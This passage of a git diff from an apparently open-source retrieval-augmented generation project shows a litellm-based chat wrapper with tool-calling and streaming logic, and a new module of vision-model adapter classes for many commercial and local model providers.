f"{ERROR_PREFIX}: {error_code} - {str(e)}" + + def _verbose_tool_use(self, name, args, res): + return "" + json.dumps({"name": name, "args": args, "result": res}, ensure_ascii=False, indent=2) + "" + + def _append_history(self, hist, tool_call, tool_res): + hist.append( + { + "role": "assistant", + "tool_calls": [ + { + "index": tool_call.index, + "id": tool_call.id, + "function": { + "name": tool_call.function.name, + "arguments": tool_call.function.arguments, + }, + "type": "function", + }, + ], + } + ) + try: + if isinstance(tool_res, dict): + tool_res = json.dumps(tool_res, ensure_ascii=False) + finally: + hist.append({"role": "tool", "tool_call_id": tool_call.id, "content": str(tool_res)}) + return hist + + def bind_tools(self, toolcall_session, tools): + if not (toolcall_session and tools): + return + self.is_tools = True + self.toolcall_session = toolcall_session + self.tools = tools + + def _construct_completion_args(self, history, stream: bool, tools: bool, **kwargs): + completion_args = { + "model": self.model_name, + "messages": history, + "api_key": self.api_key, + "num_retries": self.max_retries, + **kwargs, + } + if stream: + completion_args.update( + { + "stream": stream, + } + ) + if tools and self.tools: + completion_args.update( + { + "tools": self.tools, + "tool_choice": "auto", + } + ) + if self.provider in FACTORY_DEFAULT_BASE_URL: + completion_args.update({"api_base": self.base_url}) + elif self.provider == SupportedLiteLLMProvider.Bedrock: + completion_args.pop("api_key", None) + completion_args.pop("api_base", None) + completion_args.update( + { + "aws_access_key_id": self.bedrock_ak, + "aws_secret_access_key": self.bedrock_sk, + "aws_region_name": self.bedrock_region, + } + ) + return completion_args + + def chat_with_tools(self, system: str, history: list, gen_conf: dict = {}): + gen_conf = self._clean_conf(gen_conf) + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + + ans = "" + tk_count = 0 + hist = deepcopy(history) + + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + history = deepcopy(hist) # deepcopy is required here + try: + for _ in range(self.max_rounds + 1): + logging.info(f"{self.tools=}") + + completion_args = self._construct_completion_args(history=history, stream=False, tools=True, **gen_conf) + response = litellm.completion( + **completion_args, + drop_params=True, + timeout=self.timeout, + ) + + tk_count += self.total_token_count(response) + + if not hasattr(response, "choices") or not response.choices or not response.choices[0].message: + raise Exception(f"500 response structure error. Response: {response}") + + message = response.choices[0].message + + if not hasattr(message, "tool_calls") or not message.tool_calls: + if hasattr(message, "reasoning_content") and message.reasoning_content: + ans += f"{message.reasoning_content}" + ans += message.content or "" + if response.choices[0].finish_reason == "length": + ans = self._length_stop(ans) + return ans, tk_count + + for tool_call in message.tool_calls: + logging.info(f"Response {tool_call=}") + name = tool_call.function.name + try: + args = json_repair.loads(tool_call.function.arguments) + tool_response = self.toolcall_session.tool_call(name, args) + history = self._append_history(history, tool_call, tool_response) + ans += self._verbose_tool_use(name, args, tool_response) + except Exception as e: + logging.exception(msg=f"Wrong JSON argument format in LLM tool call response: {tool_call}") + history.append({"role": "tool", "tool_call_id": tool_call.id, "content": f"Tool call error: \n{tool_call}\nException:\n" + str(e)}) + ans += self._verbose_tool_use(name, {}, str(e)) + + logging.warning(f"Exceed max rounds: {self.max_rounds}") + history.append({"role": "user", "content": f"Exceed max rounds: {self.max_rounds}"}) + + response, token_count = self._chat(history, gen_conf) + ans += response + tk_count += token_count + return ans, tk_count + + except Exception as e: + e = self._exceptions(e, attempt) + if e: + return e, tk_count + + assert False, "Shouldn't be here." + + def chat(self, system, history, gen_conf={}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + try: + response = self._chat(history, gen_conf, **kwargs) + return response + except Exception as e: + e = self._exceptions(e, attempt) + if e: + return e, 0 + assert False, "Shouldn't be here." + + def _wrap_toolcall_message(self, stream): + final_tool_calls = {} + + for chunk in stream: + for tool_call in chunk.choices[0].delta.tool_calls or []: + index = tool_call.index + + if index not in final_tool_calls: + final_tool_calls[index] = tool_call + + final_tool_calls[index].function.arguments += tool_call.function.arguments + + return final_tool_calls + + def chat_streamly_with_tools(self, system: str, history: list, gen_conf: dict = {}): + gen_conf = self._clean_conf(gen_conf) + tools = self.tools + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + + total_tokens = 0 + hist = deepcopy(history) + + # Implement exponential backoff retry strategy + for attempt in range(self.max_retries + 1): + history = deepcopy(hist) # deepcopy is required here + try: + for _ in range(self.max_rounds + 1): + reasoning_start = False + logging.info(f"{tools=}") + + completion_args = self._construct_completion_args(history=history, stream=True, tools=True, **gen_conf) + response = litellm.completion( + **completion_args, + drop_params=True, + timeout=self.timeout, + ) + + final_tool_calls = {} + answer = "" + + for resp in response: + if not hasattr(resp, "choices") or not resp.choices: + continue + + delta = resp.choices[0].delta + + if hasattr(delta, "tool_calls") and delta.tool_calls: + for tool_call in delta.tool_calls: + index = tool_call.index + if index not in final_tool_calls: + if not tool_call.function.arguments: + tool_call.function.arguments = "" + final_tool_calls[index] = tool_call + else: + final_tool_calls[index].function.arguments += tool_call.function.arguments or "" + continue + + if not hasattr(delta, "content") or delta.content is None: + delta.content = "" + + if hasattr(delta, "reasoning_content") and delta.reasoning_content: + ans = "" + if not reasoning_start: + reasoning_start = True + ans = "" + ans += delta.reasoning_content + "" + yield ans + else: + reasoning_start = False + answer += delta.content + yield delta.content + + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(delta.content) + else: + total_tokens += tol + + finish_reason = getattr(resp.choices[0], "finish_reason", "") + if finish_reason == "length": + yield self._length_stop("") + + if answer: + yield total_tokens + return + + for tool_call in final_tool_calls.values(): + name = tool_call.function.name + try: + args = json_repair.loads(tool_call.function.arguments) + yield self._verbose_tool_use(name, args, "Begin to call...") + tool_response = self.toolcall_session.tool_call(name, args) + history = self._append_history(history, tool_call, tool_response) + yield self._verbose_tool_use(name, args, tool_response) + except Exception as e: + logging.exception(msg=f"Wrong JSON argument format in LLM tool call response: {tool_call}") + history.append( + { + "role": "tool", + "tool_call_id": tool_call.id, + "content": f"Tool call error: \n{tool_call}\nException:\n{str(e)}", + } + ) + yield self._verbose_tool_use(name, {}, str(e)) + + logging.warning(f"Exceed max rounds: {self.max_rounds}") + history.append({"role": "user", "content": f"Exceed max rounds: {self.max_rounds}"}) + + completion_args = self._construct_completion_args(history=history, stream=True, tools=True, **gen_conf) + response = litellm.completion( + **completion_args, + drop_params=True, + timeout=self.timeout, + ) + + for resp in response: + if not hasattr(resp, "choices") or not resp.choices: + continue + delta = resp.choices[0].delta + if not hasattr(delta, "content") or delta.content is None: + continue + tol = self.total_token_count(resp) + if not tol: + total_tokens += num_tokens_from_string(delta.content) + else: + total_tokens += tol + yield delta.content + + yield total_tokens + return + + except Exception as e: + e = self._exceptions(e, attempt) + if e: + yield e + yield total_tokens + return + + assert False, "Shouldn't be here." + + def chat_streamly(self, system, history, gen_conf: dict = {}, **kwargs): + if system and history and history[0].get("role") != "system": + history.insert(0, {"role": "system", "content": system}) + gen_conf = self._clean_conf(gen_conf) + ans = "" + total_tokens = 0 + try: + for delta_ans, tol in self._chat_streamly(history, gen_conf, **kwargs): + yield delta_ans + total_tokens += tol + except openai.APIError as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_tokens + + def total_token_count(self, resp): + try: + return resp.usage.total_tokens + except Exception: + pass + try: + return resp["usage"]["total_tokens"] + except Exception: + pass + return 0 + + def _calculate_dynamic_ctx(self, history): + """Calculate dynamic context window size""" + + def count_tokens(text): + """Calculate token count for text""" + # Simple calculation: 1 token per ASCII character + # 2 tokens for non-ASCII characters (Chinese, Japanese, Korean, etc.) + total = 0 + for char in text: + if ord(char) < 128: # ASCII characters + total += 1 + else: # Non-ASCII characters (Chinese, Japanese, Korean, etc.) + total += 2 + return total + + # Calculate total tokens for all messages + total_tokens = 0 + for message in history: + content = message.get("content", "") + # Calculate content tokens + content_tokens = count_tokens(content) + # Add role marker token overhead + role_tokens = 4 + total_tokens += content_tokens + role_tokens + + # Apply 1.2x buffer ratio + total_tokens_with_buffer = int(total_tokens * 1.2) + + if total_tokens_with_buffer <= 8192: + ctx_size = 8192 + else: + ctx_multiplier = (total_tokens_with_buffer // 8192) + 1 + ctx_size = ctx_multiplier * 8192 + + return ctx_size diff --git a/rag/llm/cv_model.py b/rag/llm/cv_model.py new file mode 100644 index 0000000..7e76364 --- /dev/null +++ b/rag/llm/cv_model.py @@ -0,0 +1,836 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import json +import os +from abc import ABC +from copy import deepcopy +from io import BytesIO +from urllib.parse import urljoin +import requests +from openai import OpenAI +from openai.lib.azure import AzureOpenAI +from zhipuai import ZhipuAI +from rag.nlp import is_english +from rag.prompts.generator import vision_llm_describe_prompt +from rag.utils import num_tokens_from_string, total_token_count_from_response + + +class Base(ABC): + def __init__(self, **kwargs): + # Configure retry parameters + self.max_retries = kwargs.get("max_retries", int(os.environ.get("LLM_MAX_RETRIES", 5))) + self.base_delay = kwargs.get("retry_interval", float(os.environ.get("LLM_BASE_DELAY", 2.0))) + self.max_rounds = kwargs.get("max_rounds", 5) + self.is_tools = False + self.tools = [] + self.toolcall_sessions = {} + + def describe(self, image): + raise NotImplementedError("Please implement encode method!") + + def describe_with_prompt(self, image, prompt=None): + raise NotImplementedError("Please implement encode method!") + + def _form_history(self, system, history, images=[]): + hist = [] + if system: + hist.append({"role": "system", "content": system}) + for h in history: + if images and h["role"] == "user": + h["content"] = self._image_prompt(h["content"], images) + images = [] + hist.append(h) + return hist + + def _image_prompt(self, text, images): + if not images: + return text + + if isinstance(images, str) or "bytes" in type(images).__name__: + images = [images] + + pmpt = [{"type": "text", "text": text}] + for img in images: + pmpt.append({ + "type": "image_url", + "image_url": { + "url": img if isinstance(img, str) and img.startswith("data:") else f"data:image/png;base64,{img}" + } + }) + return pmpt + + def chat(self, system, history, gen_conf, images=[], **kwargs): + try: + response = self.client.chat.completions.create( + model=self.model_name, + messages=self._form_history(system, history, images) + ) + return response.choices[0].message.content.strip(), response.usage.total_tokens + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def chat_streamly(self, system, history, gen_conf, images=[], **kwargs): + ans = "" + tk_count = 0 + try: + response = self.client.chat.completions.create( + model=self.model_name, + messages=self._form_history(system, history, images), + stream=True + ) + for resp in response: + if not resp.choices[0].delta.content: + continue + delta = resp.choices[0].delta.content + ans = delta + if resp.choices[0].finish_reason == "length": + ans += "...\nFor the content length reason, it stopped, continue?" if is_english([ans]) else "······\n由于长度的原因，回答被截断了，要继续吗？" + if resp.choices[0].finish_reason == "stop": + tk_count += resp.usage.total_tokens + yield ans + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield tk_count + + @staticmethod + def image2base64(image): + # Return a data URL with the correct MIME to avoid provider mismatches + if isinstance(image, bytes): + # Best-effort magic number sniffing + mime = "image/png" + if len(image) >= 2 and image[0] == 0xFF and image[1] == 0xD8: + mime = "image/jpeg" + b64 = base64.b64encode(image).decode("utf-8") + return f"data:{mime};base64,{b64}" + if isinstance(image, BytesIO): + data = image.getvalue() + mime = "image/png" + if len(data) >= 2 and data[0] == 0xFF and data[1] == 0xD8: + mime = "image/jpeg" + b64 = base64.b64encode(data).decode("utf-8") + return f"data:{mime};base64,{b64}" + with BytesIO() as buffered: + fmt = "jpeg" + try: + image.save(buffered, format="JPEG") + except Exception: + # reset buffer before saving PNG + buffered.seek(0) + buffered.truncate() + image.save(buffered, format="PNG") + fmt = "png" + data = buffered.getvalue() + b64 = base64.b64encode(data).decode("utf-8") + mime = f"image/{fmt}" + return f"data:{mime};base64,{b64}" + + def prompt(self, b64): + return [ + { + "role": "user", + "content": self._image_prompt( + "请用中文详细描述一下图中的内容，比如时间，地点，人物，事情，人物心情等，如果有数据请提取出数据。" + if self.lang.lower() == "chinese" + else "Please describe the content of this picture, like where, when, who, what happen. If it has number data, please extract them out.", + b64 + ) + } + ] + + def vision_llm_prompt(self, b64, prompt=None): + return [ + { + "role": "user", + "content": self._image_prompt(prompt if prompt else vision_llm_describe_prompt(), b64) + } + ] + + +class GptV4(Base): + _FACTORY_NAME = "OpenAI" + + def __init__(self, key, model_name="gpt-4-vision-preview", lang="Chinese", base_url="https://api.openai.com/v1", **kwargs): + if not base_url: + base_url = "https://api.openai.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + self.lang = lang + super().__init__(**kwargs) + + def describe(self, image): + b64 = self.image2base64(image) + res = self.client.chat.completions.create( + model=self.model_name, + messages=self.prompt(b64), + ) + return res.choices[0].message.content.strip(), total_token_count_from_response(res) + + def describe_with_prompt(self, image, prompt=None): + b64 = self.image2base64(image) + res = self.client.chat.completions.create( + model=self.model_name, + messages=self.vision_llm_prompt(b64, prompt), + ) + return res.choices[0].message.content.strip(),total_token_count_from_response(res) + + +class AzureGptV4(GptV4): + _FACTORY_NAME = "Azure-OpenAI" + + def __init__(self, key, model_name, lang="Chinese", **kwargs): + api_key = json.loads(key).get("api_key", "") + api_version = json.loads(key).get("api_version", "2024-02-01") + self.client = AzureOpenAI(api_key=api_key, azure_endpoint=kwargs["base_url"], api_version=api_version) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class xAICV(GptV4): + _FACTORY_NAME = "xAI" + + def __init__(self, key, model_name="grok-3", lang="Chinese", base_url=None, **kwargs): + if not base_url: + base_url = "https://api.x.ai/v1" + super().__init__(key, model_name, lang=lang, base_url=base_url, **kwargs) + + +class QWenCV(GptV4): + _FACTORY_NAME = "Tongyi-Qianwen" + + def __init__(self, key, model_name="qwen-vl-chat-v1", lang="Chinese", base_url=None, **kwargs): + if not base_url: + base_url = "https://dashscope.aliyuncs.com/compatible-mode/v1" + super().__init__(key, model_name, lang=lang, base_url=base_url, **kwargs) + + +class HunyuanCV(GptV4): + _FACTORY_NAME = "Tencent Hunyuan" + + def __init__(self, key, model_name, lang="Chinese", base_url=None, **kwargs): + if not base_url: + base_url = "https://api.hunyuan.cloud.tencent.com/v1" + super().__init__(key, model_name, lang=lang, base_url=base_url, **kwargs) + + +class Zhipu4V(GptV4): + _FACTORY_NAME = "ZHIPU-AI" + + def __init__(self, key, model_name="glm-4v", lang="Chinese", **kwargs): + self.client = ZhipuAI(api_key=key) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class StepFunCV(GptV4): + _FACTORY_NAME = "StepFun" + + def __init__(self, key, model_name="step-1v-8k", lang="Chinese", base_url="https://api.stepfun.com/v1", **kwargs): + if not base_url: + base_url = "https://api.stepfun.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class LmStudioCV(GptV4): + _FACTORY_NAME = "LM-Studio" + + def __init__(self, key, model_name, lang="Chinese", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key="lm-studio", base_url=base_url) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class OpenAI_APICV(GptV4): + _FACTORY_NAME = ["VLLM", "OpenAI-API-Compatible"] + + def __init__(self, key, model_name, lang="Chinese", base_url="", **kwargs): + if not base_url: + raise ValueError("url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name.split("___")[0] + self.lang = lang + Base.__init__(self, **kwargs) + + +class TogetherAICV(GptV4): + _FACTORY_NAME = "TogetherAI" + + def __init__(self, key, model_name, lang="Chinese", base_url="https://api.together.xyz/v1", **kwargs): + if not base_url: + base_url = "https://api.together.xyz/v1" + super().__init__(key, model_name, lang, base_url, **kwargs) + + +class YiCV(GptV4): + _FACTORY_NAME = "01.AI" + + def __init__( + self, + key, + model_name, + lang="Chinese", + base_url="https://api.lingyiwanwu.com/v1", **kwargs + ): + if not base_url: + base_url = "https://api.lingyiwanwu.com/v1" + super().__init__(key, model_name, lang, base_url, **kwargs) + + +class SILICONFLOWCV(GptV4): + _FACTORY_NAME = "SILICONFLOW" + + def __init__( + self, + key, + model_name, + lang="Chinese", + base_url="https://api.siliconflow.cn/v1", **kwargs + ): + if not base_url: + base_url = "https://api.siliconflow.cn/v1" + super().__init__(key, model_name, lang, base_url, **kwargs) + + +class OpenRouterCV(GptV4): + _FACTORY_NAME = "OpenRouter" + + def __init__( + self, + key, + model_name, + lang="Chinese", + base_url="https://openrouter.ai/api/v1", **kwargs + ): + if not base_url: + base_url = "https://openrouter.ai/api/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class LocalAICV(GptV4): + _FACTORY_NAME = "LocalAI" + + def __init__(self, key, model_name, base_url, lang="Chinese", **kwargs): + if not base_url: + raise ValueError("Local cv model url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key="empty", base_url=base_url) + self.model_name = model_name.split("___")[0] + self.lang = lang + Base.__init__(self, **kwargs) + + +class XinferenceCV(GptV4): + _FACTORY_NAME = "Xinference" + + def __init__(self, key, model_name="", lang="Chinese", base_url="", **kwargs): + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class GPUStackCV(GptV4): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key, model_name, lang="Chinese", base_url="", **kwargs): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + self.lang = lang + Base.__init__(self, **kwargs) + + +class LocalCV(Base): + _FACTORY_NAME = "Moonshot" + + def __init__(self, key, model_name="glm-4v", lang="Chinese", **kwargs): + pass + + def describe(self, image): + return "", 0 + + +class OllamaCV(Base): + _FACTORY_NAME = "Ollama" + + def __init__(self, key, model_name, lang="Chinese", **kwargs): + from ollama import Client + self.client = Client(host=kwargs["base_url"]) + self.model_name = model_name + self.lang = lang + self.keep_alive = kwargs.get("ollama_keep_alive", int(os.environ.get("OLLAMA_KEEP_ALIVE", -1))) + Base.__init__(self, **kwargs) + + + def _clean_img(self, img): + if not isinstance(img, str): + return img + + #remove the header like "data/*;base64," + if img.startswith("data:") and ";base64," in img: + img = img.split(";base64,")[1] + return img + + def _clean_conf(self, gen_conf): + options = {} + if "temperature" in gen_conf: + options["temperature"] = gen_conf["temperature"] + if "top_p" in gen_conf: + options["top_k"] = gen_conf["top_p"] + if "presence_penalty" in gen_conf: + options["presence_penalty"] = gen_conf["presence_penalty"] + if "frequency_penalty" in gen_conf: + options["frequency_penalty"] = gen_conf["frequency_penalty"] + return options + + def _form_history(self, system, history, images=[]): + hist = deepcopy(history) + if system and hist[0]["role"] == "user": + hist.insert(0, {"role": "system", "content": system}) + if not images: + return hist + temp_images = [] + for img in images: + temp_images.append(self._clean_img(img)) + for his in hist: + if his["role"] == "user": + his["images"] = temp_images + break + return hist + + def describe(self, image): + prompt = self.prompt("") + try: + response = self.client.generate( + model=self.model_name, + prompt=prompt[0]["content"][0]["text"], + images=[image], + ) + ans = response["response"].strip() + return ans, 128 + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def describe_with_prompt(self, image, prompt=None): + vision_prompt = self.vision_llm_prompt("", prompt) if prompt else self.vision_llm_prompt("") + try: + response = self.client.generate( + model=self.model_name, + prompt=vision_prompt[0]["content"][0]["text"], + images=[image], + ) + ans = response["response"].strip() + return ans, 128 + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def chat(self, system, history, gen_conf, images=[]): + try: + response = self.client.chat( + model=self.model_name, + messages=self._form_history(system, history, images), + options=self._clean_conf(gen_conf), + keep_alive=self.keep_alive + ) + + ans = response["message"]["content"].strip() + return ans, response["eval_count"] + response.get("prompt_eval_count", 0) + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def chat_streamly(self, system, history, gen_conf, images=[]): + ans = "" + try: + response = self.client.chat( + model=self.model_name, + messages=self._form_history(system, history, images), + stream=True, + options=self._clean_conf(gen_conf), + keep_alive=self.keep_alive + ) + for resp in response: + if resp["done"]: + yield resp.get("prompt_eval_count", 0) + resp.get("eval_count", 0) + ans = resp["message"]["content"] + yield ans + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + yield 0 + + +class GeminiCV(Base): + _FACTORY_NAME = "Gemini" + + def __init__(self, key, model_name="gemini-1.0-pro-vision-latest", lang="Chinese", **kwargs): + from google.generativeai import GenerativeModel, client + + client.configure(api_key=key) + _client = client.get_default_generative_client() + self.model_name = model_name + self.model = GenerativeModel(model_name=self.model_name) + self.model._client = _client + self.lang = lang + Base.__init__(self, **kwargs) + + def _form_history(self, system, history, images=[]): + hist = [] + if system: + hist.append({"role": "user", "parts": [system, history[0]["content"]]}) + for img in images: + hist[0]["parts"].append(("data:image/jpeg;base64," + img) if img[:4]!="data" else img) + for h in history[1:]: + hist.append({"role": "user" if h["role"]=="user" else "model", "parts": [h["content"]]}) + return hist + + def describe(self, image): + from PIL.Image import open + + prompt = ( + "请用中文详细描述一下图中的内容，比如时间，地点，人物，事情，人物心情等，如果有数据请提取出数据。" + if self.lang.lower() == "chinese" + else "Please describe the content of this picture, like where, when, who, what happen. If it has number data, please extract them out." + ) + b64 = self.image2base64(image) + with BytesIO(base64.b64decode(b64)) as bio: + with open(bio) as img: + input = [prompt, img] + res = self.model.generate_content(input) + return res.text, total_token_count_from_response(res) + + def describe_with_prompt(self, image, prompt=None): + from PIL.Image import open + + b64 = self.image2base64(image) + vision_prompt = prompt if prompt else vision_llm_describe_prompt() + with BytesIO(base64.b64decode(b64)) as bio: + with open(bio) as img: + input = [vision_prompt, img] + res = self.model.generate_content(input) + return res.text, total_token_count_from_response(res) + + def chat(self, system, history, gen_conf, images=[]): + generation_config = dict(temperature=gen_conf.get("temperature", 0.3), top_p=gen_conf.get("top_p", 0.7)) + try: + response = self.model.generate_content( + self._form_history(system, history, images), + generation_config=generation_config) + ans = response.text + return ans, total_token_count_from_response(ans) + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def chat_streamly(self, system, history, gen_conf, images=[]): + ans = "" + response = None + try: + generation_config = dict(temperature=gen_conf.get("temperature", 0.3), top_p=gen_conf.get("top_p", 0.7)) + response = self.model.generate_content( + self._form_history(system, history, images), + generation_config=generation_config, + stream=True, + ) + + for resp in response: + if not resp.text: + continue + ans = resp.text + yield ans + except Exception as e: + yield ans + "\n**ERROR**: " + str(e) + + yield total_token_count_from_response(response) + + +class NvidiaCV(Base): + _FACTORY_NAME = "NVIDIA" + + def __init__( + self, + key, + model_name, + lang="Chinese", + base_url="https://ai.api.nvidia.com/v1/vlm", **kwargs + ): + if not base_url: + base_url = ("https://ai.api.nvidia.com/v1/vlm",) + self.lang = lang + factory, llm_name = model_name.split("/") + if factory != "liuhaotian": + self.base_url = urljoin(base_url, f"{factory}/{llm_name}") + else: + self.base_url = urljoin(f"{base_url}/community", llm_name.replace("-v1.6", "16")) + self.key = key + Base.__init__(self, **kwargs) + + def _image_prompt(self, text, images): + if not images: + return text + htmls = "" + for img in images: + htmls += ' '.format(f"data:image/jpeg;base64,{img}" if img[:4] != "data" else img) + return text + htmls + + def describe(self, image): + b64 = self.image2base64(image) + response = requests.post( + url=self.base_url, + headers={ + "accept": "application/json", + "content-type": "application/json", + "Authorization": f"Bearer {self.key}", + }, + json={"messages": self.prompt(b64)}, + ) + response = response.json() + return ( + response["choices"][0]["message"]["content"].strip(), + response["usage"]["total_tokens"], + ) + + def _request(self, msg, gen_conf={}): + response = requests.post( + url=self.base_url, + headers={ + "accept": "application/json", + "content-type": "application/json", + "Authorization": f"Bearer {self.key}", + }, + json={ + "messages": msg, **gen_conf + }, + ) + return response.json() + + def describe_with_prompt(self, image, prompt=None): + b64 = self.image2base64(image) + vision_prompt = self.vision_llm_prompt(b64, prompt) if prompt else self.vision_llm_prompt(b64) + response = self._request(vision_prompt) + return ( + response["choices"][0]["message"]["content"].strip(), + response["usage"]["total_tokens"], + ) + + def chat(self, system, history, gen_conf, images=[], **kwargs): + try: + response = self._request(self._form_history(system, history, images), gen_conf) + return ( + response["choices"][0]["message"]["content"].strip(), + response["usage"]["total_tokens"], + ) + except Exception as e: + return "**ERROR**: " + str(e), 0 + + def chat_streamly(self, system, history, gen_conf, images=[], **kwargs): + total_tokens = 0 + try: + response = self._request(self._form_history(system, history, images), gen_conf) + cnt = response["choices"][0]["message"]["content"] + if "usage" in response and "total_tokens" in response["usage"]: + total_tokens += response["usage"]["total_tokens"] + for resp in cnt: + yield resp + except Exception as e: + yield "\n**ERROR**: " + str(e) + + yield total_tokens + + +class AnthropicCV(Base): + _FACTORY_NAME = "Anthropic" + + def __init__(self, key, model_name, base_url=None, **kwargs): + import anthropic + + self.client = anthropic.Anthropic(api_key=key) + self.model_name = model_name + self.system = "" + self.max_tokens = 8192 + if "haiku" in self.model_name or "opus" in self.model_name: + self.max_tokens = 4096 + Base.__init__(self, **kwargs) + + def _image_prompt(self, text, images): + if not images: + return text + pmpt = [{"type": "text", "text": text}] + for img in images: + pmpt.append({ + "type": "image", + "source": { + "type": "base64", + "media_type": (img.split(":")[1].split(";")[0] if isinstance(img, str) and img[:4] == "data" else "image/png"), + "data": (img.split(",")[1] if isinstance(img, str) and img[:4] == "data" else img) + }, + } + ) + return pmpt + + def describe(self, image): + b64 = self.image2base64(image) + response = self.client.messages.create(model=self.model_name, max_tokens=self.max_tokens, messages=self.prompt(b64)) + return response["content"][0]["text"].strip(), response["usage"]["input_tokens"] + response["usage"]["output_tokens"] + + def describe_with_prompt(self, image, prompt=None): + b64 = self.image2base64(image) + prompt = self.prompt(b64, prompt if prompt else vision_llm_describe_prompt()) + + response = self.client.messages.create(model=self.model_name, max_tokens=self.max_tokens, messages=prompt) + return response["content"][0]["text"].strip(), response["usage"]["input_tokens"] + response["usage"]["output_tokens"] + + def _clean_conf(self, gen_conf): + if "presence_penalty" in gen_conf: + del gen_conf["presence_penalty"] + if "frequency_penalty" in gen_conf: + del gen_conf["frequency_penalty"] + if "max_token" in gen_conf: + gen_conf["max_tokens"] = self.max_tokens + return gen_conf + + def chat(self, system, history, gen_conf, images=[]): + gen_conf = self._clean_conf(gen_conf) + ans = "" + try: + response = self.client.messages.create( + model=self.model_name, + messages=self._form_history(system, history, images), + system=system, + stream=False, + **gen_conf, + ).to_dict() + ans = response["content"][0]["text"] + if response["stop_reason"] == "max_tokens": + ans += "...\nFor the content length reason, it stopped, continue?" if is_english([ans]) else "······\n由于长度的原因，回答被截断了，要继续吗？" + return ( + ans, + response["usage"]["input_tokens"] + response["usage"]["output_tokens"], + ) + except Exception as e: + return ans + "\n**ERROR**: " + str(e), 0 + + def chat_streamly(self, system, history, gen_conf, images=[]): + gen_conf = self._clean_conf(gen_conf) + total_tokens = 0 + try: + response = self.client.messages.create( + model=self.model_name, + messages=self._form_history(system, history, images), + system=system, + stream=True, + **gen_conf, + ) + think = False + for res in response: + if res.type == "content_block_delta": + if res.delta.type == "thinking_delta" and res.delta.thinking: + if not think: + yield "" + think = True + yield res.delta.thinking + total_tokens += num_tokens_from_string(res.delta.thinking) + elif think: + yield "" + else: + yield res.delta.text + total_tokens += num_tokens_from_string(res.delta.text) + except Exception as e: + yield "\n**ERROR**: " + str(e) + + yield total_tokens + + +class GoogleCV(AnthropicCV, GeminiCV): + _FACTORY_NAME = "Google Cloud" + + def __init__(self, key, model_name, lang="Chinese", base_url=None, **kwargs): + import base64 + + from google.oauth2 import service_account + + key = json.loads(key) + access_token = json.loads(base64.b64decode(key.get("google_service_account_key", ""))) + project_id = key.get("google_project_id", "") + region = key.get("google_region", "") + + scopes = ["https://www.googleapis.com/auth/cloud-platform"] + self.model_name = model_name + self.lang = lang + + if "claude" in self.model_name: + from anthropic import AnthropicVertex + from google.auth.transport.requests import Request + + if access_token: + credits = service_account.Credentials.from_service_account_info(access_token, scopes=scopes) + request = Request() + credits.refresh(request) + token = credits.token + self.client = AnthropicVertex(region=region, project_id=project_id, access_token=token) + else: + self.client = AnthropicVertex(region=region, project_id=project_id) + else: + import vertexai.generative_models as glm + from google.cloud import aiplatform + + if access_token: + credits = service_account.Credentials.from_service_account_info(access_token) + aiplatform.init(credentials=credits, project=project_id, location=region) + else: + aiplatform.init(project=project_id, location=region) + self.client = glm.GenerativeModel(model_name=self.model_name) + Base.__init__(self, **kwargs) + + def describe(self, image): + if "claude" in self.model_name: + return AnthropicCV.describe(self, image) + else: + return GeminiCV.describe(self, image) + + def describe_with_prompt(self, image, prompt=None): + if "claude" in self.model_name: + return AnthropicCV.describe_with_prompt(self, image, prompt) + else: + return GeminiCV.describe_with_prompt(self, image, prompt) + + def chat(self, system, history, gen_conf, images=[]): + if "claude" in self.model_name: + return AnthropicCV.chat(self, system, history, gen_conf, images) + else: + return GeminiCV.chat(self, system, history, gen_conf, images) + + def chat_streamly(self, system, history, gen_conf, images=[]): + if "claude" in self.model_name: + for ans in AnthropicCV.chat_streamly(self, system, history, gen_conf, images): + yield ans + else: + for ans in GeminiCV.chat_streamly(self, system, history, gen_conf, images): + yield ans diff --git a/rag/llm/embedding_model.py b/rag/llm/embedding_model.py new file mode 100644 index 0000000..7d5494b --- /dev/null +++ b/rag/llm/embedding_model.py @@ -0,0 +1,979 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights 